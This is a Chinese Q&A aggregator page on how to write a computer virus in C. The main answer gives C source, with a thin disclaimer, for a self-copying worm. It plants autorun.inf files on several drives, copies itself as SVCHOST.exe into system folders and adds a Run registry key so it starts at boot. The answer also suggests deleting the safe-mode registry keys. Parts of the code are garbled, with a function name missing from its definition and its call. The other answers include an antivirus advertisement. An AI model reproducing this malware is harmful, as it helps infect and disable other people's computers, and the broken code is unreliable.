當前位置:首頁 » 編程語言 » c語言病毒編寫教程
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

c語言病毒編寫教程

發布時間: 2023-04-14 22:21:44

⑴ 如何用C語言寫病毒

在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的注冊表項也刪除了.讓它進不了安全模式;

警告:不會修改注冊表的人;別運行本程序...

⑵ 如何用C語言編寫一個查殺一種病毒的程序

您好:

殺毒軟體何必自己編寫呢,建議您使用騰訊電腦管家吧,騰訊電腦管家佔用系統資源少,佔用內存資源少,不會影響電腦的正常運行速度,而且騰訊電腦管家是殺毒管理2合1的軟體,不僅殺毒、防毒能力強,還有例如垃圾清理、電腦加速等一些列的電腦管理輔助類功能,您可以點擊這里下載最新版的騰訊電腦管家:騰訊電腦管家最新版下載

騰訊電腦管家企業平台:http://..com/c/guanjia/

⑶ 熊貓燒香病毒源代碼用C語言寫出來!謝謝了!

一個簡單有效的方法:
新建名Documents的文件夾,在C盤復制一個EXE文件放到Documents文件夾下,然後把新健文件夾覆蓋到C:\Documents
and
Settings\All
Users目錄下就可以了
正常模式下不行就到安全模式里去。
我就這樣解決的。

⑷ 用C語言能編寫計算機病毒嗎

所有的計算機語言都可以編寫計算機病毒,計算機病毒本身並不在於本身,而是在於編寫者賦予該程序的意圖,如果是好的就是很優秀的軟體,如果是惡意的就是病的了。